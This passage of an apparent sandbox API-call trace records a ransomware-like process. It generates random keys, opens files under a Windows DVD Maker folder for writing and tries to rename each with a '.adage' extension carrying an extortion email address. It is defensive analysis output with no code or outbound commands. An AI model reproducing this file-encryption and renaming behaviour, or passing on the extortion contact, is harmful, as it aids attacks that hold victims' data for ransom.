dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.203] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0059.203] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.204] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=4955) returned 1 [0059.204] CloseHandle (hObject=0x180) returned 1 [0059.204] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_buttongraphic.png")) returned 0x20 [0059.204] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_buttongraphic.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0059.204] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.204] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0059.204] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.204] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3081) returned 1 [0059.204] CloseHandle (hObject=0x180) returned 1 [0059.205] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_selectionsubpicture.png")) returned 0x20 [0059.205] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_selectionsubpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0059.205] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.205] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0059.205] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\scenesscroll.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.205] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=96025) returned 1 [0059.205] CloseHandle (hObject=0x180) returned 1 [0059.205] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\scenesscroll.png")) returned 0x20 [0059.205] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\scenesscroll.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0059.205] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\scenesscroll.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.206] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0059.206] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialmainsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.206] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=2864) returned 1 [0059.206] CloseHandle (hObject=0x180) returned 1 [0059.206] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialmainsubpicture.png")) returned 0x20 [0059.206] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialmainsubpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0059.206] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialmainsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.206] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0059.206] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.207] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=4815) returned 1 [0059.207] CloseHandle (hObject=0x180) returned 1 [0059.207] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_buttongraphic.png")) returned 0x20 [0059.207] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_ButtonGraphic.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_buttongraphic.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0059.207] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.207] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0059.207] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0060.220] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3030) returned 1 [0060.220] CloseHandle (hObject=0x184) returned 1 [0060.220] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_selectionsubpicture.png")) returned 0x20 [0060.221] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_SelectionSubpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_selectionsubpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.547] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.550] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0060.550] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\previousmenubuttonicon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.551] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3819) returned 1 [0060.551] CloseHandle (hObject=0x1a4) returned 1 [0060.551] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\previousmenubuttonicon.png")) returned 0x20 [0060.551] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\previousmenubuttonicon.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.551] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\previousmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.551] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0060.551] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.552] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=5477696) returned 1 [0060.552] CloseHandle (hObject=0x1a4) returned 1 [0060.552] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv")) returned 0x20 [0060.552] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0 [0060.552] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv")) returned 0 [0060.552] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0060.552] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.552] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=5749696) returned 1 [0060.552] CloseHandle (hObject=0x1a4) returned 1 [0060.552] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv")) returned 0x20 [0060.553] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0 [0060.553] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv")) returned 0 [0060.553] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0060.553] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.553] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=1829606) returned 1 [0060.553] CloseHandle (hObject=0x1a4) returned 1 [0060.553] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv")) returned 0x20 [0060.553] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0 [0060.553] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv")) returned 0 [0060.554] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0060.554] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.554] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=1837606) returned 1 [0060.554] CloseHandle (hObject=0x1a4) returned 1 [0060.555] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv")) returned 0x20 [0060.555] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0 [0060.555] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv")) returned 0 [0060.555] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0060.555] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.555] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=1589606) returned 1 [0060.555] CloseHandle (hObject=0x1a4) returned 1 [0060.559] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv")) returned 0x20 [0060.559] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0 [0060.559] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv")) returned 0 [0060.559] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0060.559] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.559] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=1613606) returned 1 [0060.559] CloseHandle (hObject=0x1a4) returned 1 [0060.559] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv")) returned 0x20 [0060.560] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0 [0060.560] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv")) returned 0 [0060.560] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0060.560] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.560] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=6717684) returned 1 [0060.560] CloseHandle (hObject=0x1a4) returned 1 [0060.560] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv")) returned 0x20 [0060.560] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd 